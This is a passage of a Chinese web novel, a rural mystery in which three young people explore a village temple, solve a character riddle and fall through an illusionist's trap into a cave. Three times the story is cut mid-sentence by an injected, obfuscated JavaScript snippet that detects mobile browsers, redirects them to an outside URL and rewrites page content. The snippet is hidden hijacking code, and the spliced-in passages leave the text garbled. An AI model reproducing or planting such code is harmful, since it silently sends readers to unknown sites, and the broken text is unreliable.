李萍叹气:“有一年村里发生了地灾,他们唯一的儿子没了。二妈很伤心,要和二爸离婚,离开这里。二爸同意了,她去了城里的建筑工地打工,从脚手架上摔下来,医院说没得治,二爸就把她带回家……傩师家的人,注定是不能离开村子的。我爷爷说,离开的人,没有一个有好下场,我父母还有二妈就是例子。” 屠南:“所以你们一家人就留在了老石船村?” “嗯。我二妈走后,二爸学会了唱傩戏,可是村里的人越来越少,很多老辈子都走了,很少有人找他唱。后来他学会了做寿木,听他说我们祖上就是木工,他算是返本归元。没有木工活的时候,他还会替那些搬去新村子的人守祖坟,自己做人偶,村里人因此都喊他鬼师。” “他也曾想过了断自己,但被王莽子救下了。自那以后,他顿顿离不开酒,经常成夜在外面打牌,靠手艺挣的钱都花在了酒桌牌桌上……” 余一舟记得李萍说过,王莽子是个傻子,父母早逝,是被李旺夫妇接济长大的,这可能就是善有善报吧,他们救了王莽子,王莽子又救了他们的儿子。 屠南:“那你家的房……” “是我妈家的一位远方亲戚看我可怜出钱盖的,我平常会做些事情,挣钱还她……” “你们刚说的被控制,我想了想,那很有可能是误吸了一种我二爸做法事时用的香,产生了幻觉。具体我也说不清,小时候我也遇到过这种情况,会不断进入一些诡异的梦境,明明身体已经逃到了安全的地方,但感觉灵魂还在那里……” 周筱安舒了口气:“听你一说,我好像是闻到了一种奇怪的味道,估计就是跟地上燃烧的松香粉有关……破案了!我还以为我们是中邪了!” 余一舟举起手:“不好意思,我还有一个疑问……” 如果按李萍所说,一切的幻境都是因那个不知名的香而起,那个像靶子一样的神秘符号又是什么呢?在来到石船村之前他就有过两次噩梦经历,每次都看到了那个符号。 周筱安按住了他的胳膊:“行了钱眼子,你怎么那么多疑问,留着你的疑问煮火锅吃吧,这两天真是饿死了,我感觉我现在能生吞一头牛……” “今天在你二爸家院子里看到的那些是船棺吗?” 周筱安觉得自己就像在玩打地鼠的游戏,刚按下了余一舟,屠南又冒出头。 李萍点头:“嗯,估计是有人找他做的。” 周筱安不敢像按下余一舟那样去按屠南,只能好言好语地转移话题:“屠屠,别多想了,你的车联系的怎么样了?司机什么时候来接我们?” “差点搞忘了……”屠南再次按下司机大哥的号码,心里还在想着船棺,隐隐有种不好的预感…… 司机大哥的电话接通了,愿意去石船村接他们的人是找到了,就是一时半会儿来不了。因为山体滑坡,封路了,具体封到什么时候,谁都不知道,不过大哥觉得,如果没有什么急事还是明天再走比较稳妥。 ****** 正所谓条条大路通罗马,假设通向罗马的路有X条,少了一条,应该还有X-1条。 周筱安坚信进出石船村另有其路,余一舟心不在焉地陪他找,眼睛被屠南的一举一动暗暗牵动。 李春梅失联了,阿秋三人就这样没了音信,张建平对于他的报警要求只回了一句“好”也没下文了。 这种表面的稳态,往往会让人忽略内部是如何与外界环境进行物质交换的。余一舟认为,这个通往外界的锚点就是屠南。 余一舟把两条胳膊搭在沙发的海绵靠背上:“石船村正式进入暴风雪山庄模式。” 坐他旁边的周筱安闻声退出地图应用,抬起头,两眼冒光:“暴风雪山庄模式是推理小说的经典设定。隔绝的空间,无法与外界取得联络,里面的人只能依靠自己的智慧进行推理,找到杀人真凶!阿加莎的《无人生还》,绫辻行人馆系列的《十角馆杀人事件》都是典型的暴风雪山庄模式推理……” 说到智慧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821828|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两字,他还用手指挑动了一下眉前的刘海。 余一舟嗤笑起身,用甜美的表情留下恶毒的话:“用你说,碎嘴子。” 周筱安搞不懂他又在抽什么风:“小老板的午饭一会就做好了,你又瞎跑什么?” 余一舟没回头,朝他挥了挥手就出了门:“出去消食,不用跟着我。” 周筱安这种粘度很高的跟屁虫可不是他一句谎言就能甩掉的。 “就早晨那碗稀粥,还不够我排泄的,你还没消化,说明肠胃有些问题……” “兄弟,你最近有没有感到倦怠乏力、食欲减退,大便稀、小便短……我怀疑你这是脾虚啊!” “闭嘴!” 余一舟刚还在大道上走的好好的,突然神经质地把周筱安推进了路旁的树丛,自己也跟着跳了进去。 “这是昨天那条路,我记得……” 周筱安说着抓住余一舟的胳膊,占据了他的上方空间,朝他偷窥的方向看,只见屠南背了只背包正昂首阔步地向远处去。 “屠屠不是上楼休息了,她什么时候出来的,还走在我们前面……” 余一舟不答,周筱安撇嘴:“变态啊,你监视人家!” 余一舟留下一句“神经病”,继续鬼鬼祟祟地跟在屠南后面,始终保持几十米的距离。 周筱安追上去,小声说:“别跟那么近,会被发现的!” 余一舟白了他一眼:“再远,我就发现不了她了。” “你是不是还在怀疑屠屠害了你雇主的儿子?我昨晚仔细想了想,她这人虽然性格有点多变,但不像坏人。不是跟你说了吗,昨天跳火坑,就是她帮了我们。” 余一舟眼睛盯着屠南,脚踩着路边的野草,手拦着眼前乱飞的树杈子,嘴上和周筱安说着话:“我又没说她是坏人……” “那你还跟踪她?” 余一舟选择性耳聋,他跟踪屠南是觉得可以借此找到李春梅,明白人不做糊涂事,他不能什么都不知道地被他们夫妇耍得团团转,他要当面问清楚,以免日后遭人诬陷吃官司都不知道该从何辩解。 当然随着越陷越深,他也不是不想了解张洪涛自杀的真相,只不过这就要量力而行了。 “她一定知道点什么。”余一舟喃喃。 周筱安不了解前因后果,听得一头雾水:“她还知道什么?” 是啊,她还知道什么?她昨天说过她和沈垚曾一起去过新石船村做田野调查,余一舟得到启发,突然停在原地,玩起手机。 他之前用浏览器搜线索,都是输入“沈垚”,或者“沈垚北城大学”,这样一来除了沈垚本人的学术成就,就是一些同名同姓的不相关信息。 如今既然明确了沈垚曾经来过石船村,他可以反向搜索,“山城石船村盘头天坑失踪沈”。果然成功搜索到一则2018年的失踪通报,沈某(54岁),北城人,姓氏、年龄、地区和沈垚全对的上。 而且他还发现:“这地方不叫盘头天坑,而是盘陀天坑。” 盘陀就是曲折蜿蜒的意思,这么想进村那条路是挺曲折的。 周筱安看着屠南上坡拐弯,消失不见,急得捶胸顿足:“别看了,人都没了!” 余一舟这才回过神,两人一路小跑上了坡,转过弯,不见屠南的身影。 面前的两条路,一条通往村尾,就是他们昨天走的那条,会路过李萍爷爷奶奶的老宅,还有那个戏台。 另一条,严格来说算不上一条路,就是一个分岔,岔路的尽头有一堵砖砌的院墙,和看着有些别扭的红色铁门,铁门上的漆一看就有年头了,只能说聊胜于无。 周筱安耸肩:“现在怎么走?要不我们一人选一条?” 余一舟看了眼手机,坚定地指向那扇红色铁门:“不用,就去这个庙。” 周筱安:“你确定这是个庙?” 14. 二仙庙 老话说得好,人不可貌相,海水不可斗量。 别看那扇红铁门其貌不扬,铁门后的光景也是一片惨淡,白瞎了周筱安进门时的那一丁点期待。 “这就是你说的庙……” 周筱安跟在余一舟身后一顿输出,直到看到蹲在地上潜心研究的屠南,还有那个依山而建、大门敞开的歇山顶祠庙。 “可以呀,钱眼子,不愧是私家大侦探,你是怎么一眼推断出屠屠在这?又怎么知道这是个庙?” 周筱安的问题接踵而至,余一舟突然停下来,转身递上手机。 手机屏幕上是个微信聊天对话框,来自“屠南(张洪涛师姐)”,语言简练朴素——来岔路口的象祠。 一切尽在不言中。 周筱安又产生了新疑问:“这是个象祠?象呢?” 他这个问题未尝不是余一舟的问题。 屠南管这个地方叫象祠,他俩粗看过去,连根象毛都没见到。 院中唯一一座建筑,被他们姑且称作正殿,也是略显寒酸。 地上铺的土砖凹凸不平,甚至有些硌脚。堂正中砖砌的神坛上坐着一尊披着红绸的女仙,女仙四周没有任何雕饰,没有精美的神龛,只有一对竹板楹联挂在她身后的土墙上。还有女仙面前的供桌,尽是岁月的痕迹,不少处已经掉漆,桌上只放了两盆劣质塑料假花和一只有裂缝的陶瓷香炉。 从神位来看,这位看上去被慢待的女仙叫白莲仙君。 白莲仙君与大象能有什么关系? 屠南在二人求知若渴的目光中站起身。 “象不是指大象,而是舜的弟弟象,人名。舜就是禅位给大禹的那个上古皇帝。传说象心胸狭隘,常谋害舜。但是舜宽宏大量,不和他计较。象被舜感化,任用贤人,恩泽于民。周代时,为了教育民众弃恶改过,兴起了祭象风,各地建了很多象祠。到了唐代毁象祠,它才逐渐在全国消失。” 周筱安指着白莲仙君的塑像:“那神位上写了……” 屠南冲他们挥手,又指了指祠堂门口坑坑洼洼的地面。泥土地里漏出一块刻字的砖,看起来像是一块被埋在地下的石碑,有一部分应该是被屠南刚挖开的,砖上的泥还是新鲜的。 古人书写都是从右往左,漏出来的是石碑的左角,可以看到象、改、德、仁一类的字眼。 余一舟挠头:“象不是舜帝的弟弟,这是变成女的了?” 屠南看向院子正中铁香炉上用油漆刷的三个大字:“这只是在很久以前是象祠,现在早都不祭象了,而是叫二仙庙。” 余一舟哦了声,拿出手机对着埋在土里的石碑拍了张照:“这要真是很久以前的东西,得值不少钱吧。” 这次换周筱安无语,钱眼子三句话不离本行,干什么都能联想到钱:“嗯,不仅值钱,还很‘刑’!” 余一舟依依不舍地离开石碑,自从他的七万块回款不力,他感觉自己就多了一个“超能力”,看什么东西,都会自动看到一排数字在眼前滚动,需要花钱的消费品是绿色的,前面还有个负号,这是这么久以来唯一看到的红色的正数。 周筱安懒得理他,跟在屠南身后进了殿:“二仙庙里只有一位仙,难道另一位仙和那个石碑一样被埋入地下了?” 屠南从香案上取了三支线香,点火,敬了敬,插在旁边快要燃尽的三支短香旁:“你不妨再仔细瞧瞧。” “再仔细看,这殿里也只有一尊像。” 余一舟一只胳膊抱在胸前,一直抵着下巴,活动颈关节:“我怎么看到十几个像……” 周筱安习惯性驳斥他:“你眼花呗……是壁画!” 殿内的东西两壁上都画有壁画,高饱和度的色彩、粗劣的线条还有和“少生孩子多种树”一样的字体,在无形中磨灭了它的神性。 周筱安快步走向其中一边,壁画中的每个人物下都写有一个名字,他看的这边分别是尹喜、辛钘、庚桑楚、南荣趎和尹文。 另一边则是士成绮、崔瞿、柏矩、列御寇、庄周和修鱼舆。 屠南:“你们听说过玄门十子吗?” 余一舟摇头,他只听女友说起过什么归国四子…… 周筱安皱了皱眉,玄门十子是指老子李耳的十位门徒,几年前他还在上海博物馆见过元代画家华祖立和吴炳所绘的《玄门十子图卷》,当然二者在画工上是没有任何可比性的。 屠南点头:“玄门十子,但壁画上有十一个人,多的那个人就是二仙庙的另一个仙。” “修鱼舆!”他又是谁?老子什么时候又多了这么个徒弟,名字还这么Q弹,听起来像“小鱼鱼”。 屠南顿了顿:“你认识他的。鱼公引船,捍灾御水……” 周筱安的瞳孔因受惊而放大:“功德于民,歌舞思之!” 其实很多神祠都是为那些治水有功的人建的,尤其是在靠水吃水的地方,比如西南地区的二王庙、禹王宫,前者是为了纪念李冰,后者是为了纪念大禹。 “他怎么会是……”周筱安恍然大悟得有些迷惑,整张脸都沉浸在一种扭曲的氛围中,甚至挤出了几条皱纹。 余一舟记起昨天在戏台下,周筱安借他的背默写了一段话,其中就有这句。当时情况紧急,事后他又忘了问,他是怎么知道那段念白的? 屠南先他一步走到在壁画前发呆的周筱安身边:“五年前,我跟随沈垚研究当地的信仰与禳解仪式时,就发现石船村这边有一种非常特殊的信仰,修鱼子崇拜,修鱼子就是他们戏文里讲的鱼公。” “修鱼子本名修鱼舆,修鱼是个复姓。据《史记·秦本纪》记载,修鱼这个姓是因修鱼国的国名而来。这里的百姓流传,修鱼舆曾师从老子,并留下一本书叫《修鱼子》,因书中内容尽是光怪陆离与道家思想相悖的鬼话奇谭,被逐出师门,书也失传了。不过因为他引船治水,对当地有功,所以这里的百姓为他立祠纪念。” 二仙庙壁画上的玄门十子,把这个修鱼舆也加了进去,其实就是当地人用自己的方式帮他们的恩人鱼公重回师门,还真是令人感动啊。 余一舟暗暗点头,不同于其他救水英雄筑坝开渠、垒堰导水,这位修鱼公的治水方式居然是引船,所以石船村的“石船”跟修鱼子引船有关?这么一来还真有诺亚方舟那味了!” “那白莲仙君与修鱼子是什么关系?”周筱安知道有些祠庙会供奉先贤的父母,但在这个据说是纪念修鱼子引船而建的二仙庙中,白莲仙君在主位,修鱼子只是在墙上,似乎白莲仙君才是主要受供奉的那位,他迫切期待着能从屠南口中得到一个准确的答案。 屠南低下头,叹了口气:“我不知道。” 语气中似乎还带有一丝难以察觉的自责。 周筱安还沉浸在诸多疑问中,完全没有注意到这一点。 他嘟哝着白莲仙君身后的楹联:“生也死之徒,死也生之始……” 这也是个明显的槽点,别家祠堂的楹联就算不是歌功颂德也得是句吉祥话吧,这又生又死的怕不是太晦气了。 屠南好像能听到他的心声,眸中静水深流:“这句话出自《庄子》的《知北游》,字面意思是,生和死是一样的,死也是生的开始。” 一旁一直很安静的余一舟突然化身被踩到脖子的尖叫鸡:“庄子!” 周筱安不理解他在瞎激动什么,庄周就是庄子,谁不知道啊?不过他还是试图说点什么来安抚那个躁动的灵魂:“钱眼子,你觉不觉得这个白莲仙君看起来有些面熟……可能这些神像都是一个工艺品厂批量生产的吧。” 余一舟并没有被他这句不痛不痒的话安慰到,他脸色奇差,语气也不太友好:“我想静静。” 周筱安自认为是团队的粘合剂,这种时候自然是要搅动起来:“哎呀都出来半小时了,咱们回去吃饭吧,小老板应该都做好了……” 余一舟嗯了一声转身向殿外走去,然而屠南却完全没有要走的意思。 “你跟踪我,不就是想见李春梅吗?” 七十二拜都拜了,不差最后一哆嗦,余一舟停下脚步:“她在哪?” 屠南把与李春梅的聊天截图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821829|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发到了周筱安刚建的“李家大院正能量交流群”里。 从截图来看,李春梅和屠南约定的时间是十二点半。 余一舟忿忿:“她为什么不回我消息,单独约你见面?” 屠南双唇微微掀动:“我不知道。” “而且说好的半点,这都过去十五分钟了。是不是因为多了一个人,她才迟迟不肯露面……”余一舟看向周筱安,意有所指。 多的这个人自然是听懂了他的言外之意,就是赖着不走。 周筱安绕开两人,凑到供桌前:“屠屠刚上香时,这就插了三支香,没燃尽,很有可能就是李春梅点的,说不定她现在就在附近看着你们呢……” 周筱安正得意地阐释自己的推理,无处安放的手像是被香灰烫到,应激地缩了回去:“你们听!” “听什么?”余一舟被他的一惊一乍搞得胆战心惊,竖起耳朵听半天,什么都没听到。 周筱安躲在屠南身后:“是小孩,小孩在笑!嘻嘻嘻嘻的。” 他上一次看有人用这种表情说听到小孩在笑还是在恐怖片里,余一舟从头皮麻到脚趾:“哪来的小孩……难道是张建平的女儿?” 屠南是三个人里唯一还能保持理智的:“你刚才听到的声音是从哪发出来的?” 周筱安指着白莲仙君的塑像,手抖个不停。 余一舟绕着塑像找了一圈,塑像下面的神坛是实心的,藏不了人。塑像前面的供桌下面挡了块布,屠南也掀开看了,里面什么都没有。 周筱安小声说:“会不会在塑像里,我听到那个声音就是从那个方向传来的……” 余一舟带着被李春梅耍弄的气爬上供台,用手去敲,塑像也是实心的。不过白莲仙君的嘴唇上有个小孔。不靠近还真看不到,孔大概有一个小拇指粗,他鬼迷心窍地把手指戳上去,孔中真的传来了小孩的笑声,指尖甚至能感觉到声波的震动。 “嘻嘻嘻,嘻嘻嘻……” 周筱安扶住了从神坛上摔下来差点崴脚的余一舟,声如破锣:“屠屠,你听到了吗,神像在笑!” 屠南闻声抬头,看了眼塑像,又低下头继续抚摸供桌的桌腿。不知是想起了什么,她朝杵在塑像旁勾肩搭背的受惊版“海尔兄弟”挥了挥手:“我大概知道这声音是从哪来的了,你们看!。” 屠南在供桌的裂缝中找到了一张折叠的字条,打开看是从湖城商报抬头的信笺纸上扯下来的。 人形复读机周筱安上线:“汴水流兮孤星坠,余访穹苍弃小弓。” 余一舟嘶了一声:“湖城商报!” 周筱安讶异地看着他,一般人看到字条,都会关注上面的字,谁会看背景。 “怎么,你还关注过我们湖城的报业?” 余一舟摇头:“是我师父,和他们打过一些交道。” 周筱安哦了一声:“我妈跟他们社长关系不错,听说这家报社这几年效益不好,快撑不下去了。” 屠南的关注点更偏:“你师父叫什么名字?” 余一舟挠头:“吴志军……怎么,你认识?” 屠南垂眸:“不认识。” 余一舟从她手中接过字条,嘟囔道:“……湖城商报的信笺纸怎么会出现在这?” 周筱安:“这谁知道呢?” 余一舟:“我们这里好像就你一个湖城人。” 周筱安:“什么意思?你师父不还跟这个报社打过交道吗?” 屠南不想让这种没营养的对话持续下去,耽误更多时间:“我们先看字条上的内容吧。” 周筱安从余一舟手中抢过字条,放在自己和屠南中间:“屠屠,你说这句话到底什么意思,汴水在哪?苍穹又在哪?” “汴水和苍穹在哪并不重要,因为这是个字谜……”屠南说着在地上用手指写下“汴”字和“余穹”二字,“汴字,水流星坠。余字去小,穹字去弓……” 余一舟:“第一个字是下。” 周筱安:“第二字是空。” 下空,顾名思义,下面是空的。 15. 活洞 想象力是个好东西,既能望梅止渴,也能杯弓蛇影。 自打破解了字条上的字谜,余一舟感觉自己脚下隐藏着一个巨大、邪恶的地下世界,而且与他只有一壁之隔。想至此时,这地面愈发烫脚了。 屠南在他眼中就是一个人形机器人,不知道害怕是正常的。就是那个周筱安居然还屁颠屁颠地跟着人家到处挪动台面上的东西,寻找进入地下空间的机关,真是小鸡跟着鹅妈妈就以为自己会飞了。 周筱安没感知到某些人正在他听不到的地方嘲讽他,拿起供桌上的假花煞有介事地观察了一番。 “屠屠,你说小三和小孩会不会被李春梅藏在这个地下密室了,刚才那个笑声其实就是小孩在求救?” 屠南夺回假花,放回供桌:“你要觉得是,就叫一声,看看有没有人应。” 周筱安清了清嗓子:“西西,你在下面吗?” 转念一想,这种说法似乎有点地狱。 “西西,你要是听到了,就回答叔叔一声。” 余一舟刚还抱着胳膊事不关己,看周筱安喊话,也加入进来。 “李总,如果您想和屠南单独聊聊,您就再嘻一声,我俩这就出去。” 周筱安像是听到了什么大逆不道的话,摸过香灰的手一把堵在余一舟嘴上:“你没事吧,让屠屠一个女生留在这……” 余一舟嫌弃地推开他:“女生,她是一普通女生吗?关键时刻你还不如她一个女生……” “我刚说错了,你不关键的时候也不如。不用这样看我,我也不如……两军交战能者上。” 周筱安眉头紧锁:“你什么意思?” 余一舟:“我的意思是……在这耗着也不是办法,万一李春梅不希望有旁人在呢?” 他还没说完,而且这个周筱安对别人的事是不是过于关心了。 周筱安:“你刚不是问了吗,她也没回你……我想也许还有一种可能!你们听没听说过一种表演型犯罪,也许她不希望我们走,她就是想要观众来见证。” “见证什么?” 屠南从神坛后面钻出来,灰头土脸,衬衫袖子还有裤子的膝盖和下缘沾满了灰。 周伯牙难得遇到一个屠子期,简直是见到亲人了。 “屠屠,你也觉得是这样吧!鱼公就是青天大老爷,咱们三人就是吃瓜群众,她要让我们见证负心汉的妻儿受到惩罚!” 余一舟难得捧场:“这戏码我熟,那词儿怎么唱的——驸马不必巧言讲,现有凭据在公堂。” 周筱安:“对对对,就是这个意思。” “对个屁,这是京剧《铡美案》……”他姥爷在世时常听。 “就算神坛上真是包青天,铡刀也该铡张建平,轮得着去铡小孩嘛。”余一舟说完看向屠南。 屠南吸了吸鼻子,透过大家异样的目光,察觉到自己脸上大概有灰,用手蹭了蹭:“她找我来,应该是要说我和她儿子的事,我不清楚她的家事,而且你们来这也是计划之外,这应该不是事先设计好的。” 周筱安失去支持,继续去找线索。 余一舟趁没人打岔,向屠南问起以前的事。 “如果我没猜错,你导师沈垚当年就是在盘陀天坑失踪的,能说说具体原因吗?说不定对找到李春梅有帮助。” 屠南从背包口袋里拿出一小包抽纸,边擦手边说:“其实,我也不知道。” “那年我和他一起来石船村,走访的差不多了,他说约到一个老石船村的人访谈,他没告诉我是谁,但我猜那人就是李学昌。对方不愿有太多人在场,就没让我跟来。等我得到消息,他已经失踪了,听说是去天坑找什么东西时走丢的……” “听说你后来生了病,退了学……” “嗯。” 屠南不愿多说,余一舟只能问点别的。 “沈老师曾经也是张洪涛的导师……你有没有见过一个这个符号,一个圈,里面一个点。”他怕屠南不理解,专门在掌心上画给她看。 没等他画完,屠南就果断回答了:“见过。” 爽快程度令他愕然:“在哪见的?” 屠南半仰起头,思考措辞。突然,一阵类似收音机连接不上电台的杂音响起,那沙沙声维持了数十秒,接着停顿了大概两三秒,播放了一段一听就是提前录制好的孩提哭声,时断时续。 余一舟对于这种每逢关键处,必出幺蛾子,是可忍孰不可忍。 “大爷的!谁特么在放录音,少特么装神弄鬼!给老子滚出来!” 周筱安顺着声音找到供桌,掀开钉在桌腿上方的布帘,看到一台老人用的便携收音机,黑色的,比手掌大点。 周筱安鼓捣半天才按对暂停键,世上终于少了三个快被小孩哭声逼疯的人。 “那个笑声会不会也是它发出来的……”周筱安猜测。 只是刚才大家围在供桌附近猜字谜时,就检查过,供桌下面什么都没有。而且这期间,所有人都在祠堂,没人能在众目睽睽之下把收音机放进桌底。 “要不我们完整听一遍录音,看看除了哭声还有没有其他声音。”屠南提议。 周筱安半跪在地上,他之前没有用过这种收音机,按了许多键,都找不到倒放的功能,刚才还能很能叫唤的小盒子,在他手里愣是成了哑巴。 “给我看看。” 周筱安把收音机递给了屠南,回头继续和供桌“死磕”。 殊不知在他没有关注的时候,供桌之下的土砖变成了一片褐色的、胶质的、蠕动的“泥潭”,像一片可移动的沼泽,不断扩张。 周筱安初见到,只当是自己饿得眼花了,拿手试探上去,才发现这个史莱姆好像有点滑。 “救命!” 当另外两人听到他的惨叫时,那张从地面上张开的大口已经吞没了他的上身,并以极快的速度“消灭”了他的长腿。 余一舟严重怀疑这次的“蛊”是他自己下的,只要一遇到那个符号,就会出现怪事,他居然还他喵的没事在自己手上画着玩,真是不要命了。 还没回过神,一旁研究收音机的屠南竟主动跳进了那一滩不明成份的什么体中。 “是梦,是梦,是梦……” 余一舟自我催眠后,谨慎地挪动到泥潭边。 泥潭并没有因为他临时抱佛脚,问候各路神仙,就变回土砖地,相反泥巴像是开了锅的热油不断滚动,并向他身上迸溅。 “我的鞋!” 余一舟为了守护自己用第一笔外快买来的新鞋,没能保持住平衡,跌入泥潭。 和火门里的水潭不同,这次的感觉好像重新回到母体中,经过一条湿滑通道的挤压,摔在硬邦邦、又有点弹性的地上,眼前是无尽的黑暗。 “屠南?周筱安?你们在吗!” 从有些闷的回声中,他感知到这个空间不会太大。 “周筱安!碎嘴子!妈宝男!” 只听有人小声数完“一二三”,一声惊呼中不远处亮起两盏手机闪光灯,一盏反照在某人的鬼脸上,一盏照向旁边。 比起这个拙劣的恶作剧,更令余一舟崩溃的还是他是怎么掉下来的? “这到底是怎么回事?” 屠南拿出背包里的户外手电照了照,他们所处的这个地方像是二仙庙的地下室,堆放了各种箱子、盒子、框子、篮子,收纳的物什很多,但没有一件杂物被收纳在它该在的位置,还有墙角的偶人,就这么随意地摆着,实在销魂。 余一舟想起了床下的拧巴模特,背后阵阵发凉。 周筱安还是一如既往地迟钝,知道点什么就不分场合地显摆。 “屠屠说了,这个洞应该是一种幻术,俗称障眼法,发源于宋代百戏。你可别小看这个幻术,别说一个小小泥坑,就是两个大汉站在你面前互相‘掏心掏肺’,给你来盘心肺刺身,你都看不出端倪。” 周筱安说的和屠南给他解释的大差不差,就是在刺身那里自己自由发挥了一下。 他说的大汉掏心叫“七圣刀”,是幻术的一种,而幻术又只是百戏中的一种,类似现代的魔术。由于其逼真和危险的属性,经常会被打上故弄玄虚、蛊惑人心的标签,被某些时代所限制、禁止。 屠南看着头顶上方离地三四米高的半透明孔洞,和一段一米多深、一个半人宽、湿滑的洞壁:“这应该是一个用动物皮还有肠衣布置的活洞。” “活洞……” 又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821830|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个新名词,这东西存在的意义是?专门给人类设下的陷阱?余一舟似乎找到了石船村奇怪的根源,这里的一切都像是一个精心布置的猎场,只是在这里人类才是被围猎的对象。 为了保持理智,他必须赶走这些想法,转移注意力到正确的地方:“小孩找到没?” “没有……不过找到了这个。” 屠南的手电光打在岩顶上,一根线从一个微小的孔洞中漏出头,下面连着一个杯子状的收声器,旁边还有一根线,拉一下,那收声器就能降下来。 线的另一段应该就在白莲仙君的口中。 周筱安:“这不是土电话嘛,就是不知道除了吓人,还能干什么用。” 屠南拿起收声器,放在唇边:“鱼公引船,捍灾御水。功德于民,歌舞思之!” 周筱安仿佛看到一群愚昧的村民跪在白莲仙君像前,敬畏地低着头,接受着女神箴言的神圣洗礼。 想到这一幕,余一舟愤青上身:“这人世间,哪有什么真神现世,不过都是些欺世盗名……” 搞清楚了传声器的逻辑,三人面临新问题:明明有现成的传音器,干嘛还要再放个收音机多此一举。 对此,屠南的看法是:“收音机应该是为了吸引我们下来。” 余一舟:“你知道还往下跳?” 屠南:“我不跳,剧情怎么推进?” 周筱安突然猥琐一笑:“别说我们了钱眼子,你这么谨慎,是怎么下来的……” 余一舟看了眼自己的鞋,这段有点尴尬,就跳过吧。 周筱安见他说不出个所以然,立刻借题发挥:“现在连你也下来了,彻底没人能拉我们上去。” 余一舟:“既然有人能把收音机放上去,我们肯定也可以上去。” 屠南关上手电,一言不发地看着洞口,想到李萍口中山神的影子。 “那个收音机未必是人放上去的。” 周筱安对屠南几乎是不分场合的捧场,不管听没听懂:“对,我猜是机关!从这到洞口的高度目测得有三四米,人要上去,势必要借助外力,这没有梯子,也没有绳子,怎么可能是人呢……” 余一舟的手机和他本人一样,没什么耐心听周筱安讲那些缺依少据的推理,响起的短信提示音打断了他的胡言乱语。 难得地底下有信号,余一舟在众目睽睽下点开了信息,居然是银行到账提示,来自李春梅的七万元转账。 这个时候转账,还真是心里的大石头落下,正好砸在脚上。 屠南不合时宜地打开手电,刚好照亮了大家尴尬的表情。 “恭喜啊钱眼子,终于完成任务了!” 周筱安的语气怪怪的,好像是说终于把朋友出卖了,钱拿到手了 屠南一如既往的冷淡:“完成就好,想个办法,送你们回去。” 余一舟:“那你呢?” 屠南顿了顿:“我还要再深入看看。” 余一舟难以理解这种视生命如儿戏的行为:“你忘了你导师是怎么失踪的!” 这很危险,不宜久留。 可惜拳头还是打在了棉花上,屠南还是那潭死水,只是这次水下有了些暗流。 “刚才在上面,你问我的符号我确实见过,它叫太阴,就是月亮。” “沈垚失踪前给我发过一条短信——夏节庆典,天湖,太阴之水。我本来无意知道这三个词背后的含义,但显然它们在不断扰乱我的生活,甚至夺走我身边人的生命。为了避免更多人被拖下水,我必须再多了解一些,也不枉费他们精心设定的剧本。” 余一舟竟在屠南那张略显高冷的学霸脸上看到了一种违背人性的反应,那是对死亡欢宴的向往。 “他们是谁?” “不知道。” 余一舟摇了摇脑袋,强迫自己相信,这就是精神病没好利索,犯被迫害妄想症了。 “你去养老院找人时用的那张照片,就是张洪涛跪在地上求我告诉他沈垚遗言时被拍的。我想他接近真相了,但真相往往都是危险的。” 知道的越多死的越快的道理余一舟还是懂的。 “既然危险就别再说了,我还没活够呢。” “好。” 16. 湖城商报 周筱安在角落的柜子后面发现了一道石门,石门隐蔽,通过地面留下的划痕和墙体上的裂缝,大致判断这扇门远高远宽于一般人家的房门。 门的开关在木柜的最下面一格,是一个木质脚踏板。三人没什么准备,只是试着踩了一下,柜子和石门自动向外打开,露出巨大的门洞。 本来足够明亮的手电光在无垠的黑暗中变成了一叶孤舟,屠南不得不将手电调整为超远距,差不多是两盏汽车前灯的亮度。 溶洞比她想象的大,参差不齐的钟乳石在流水声和湿润气息中铺开,相比于被照亮的部分,更多是光亮无法触及的暗面。 屠南倏地睁大眼睛,又不留痕迹地恢复了平静。 “我去前面看看有没有其他出口,你们先在这等我一下。” “我和你一起。”周筱安下意识说道。 “不用,在这等我。” 屠南的语气不容拒绝,细听又像在请求。 看热闹的余一舟把胳膊肘搭在了周筱安高耸的肩膀上,又因对方移动而迅速滑落。 “哎呦,这是马屁拍到马蹄子上了。” 周筱安假笑着把手插进口袋:“我在这等她,你回去吧。” “我回去……大哥,你以为我还站在这是因为舍不得你,不想回去吗?” 他试了各种方法,但洞壁太滑,根本爬上不去。 所以他们商量的结果就是打电话给李萍求助,但这样一来也就暴露了大家的行踪。 最后三人约定,周筱安跟着屠南去寻找其他线索,余一舟在两人离开半小时左右再给李萍打电话。如果他能顺利上去,还可以适时为里面探险的同伴提供支援。 ****** 阿南刻穿着屠南的衣服,坐在暗河边踢水玩。 屠南环视四周,好在钟乳石柱隔绝了任何可能看到她们的视线 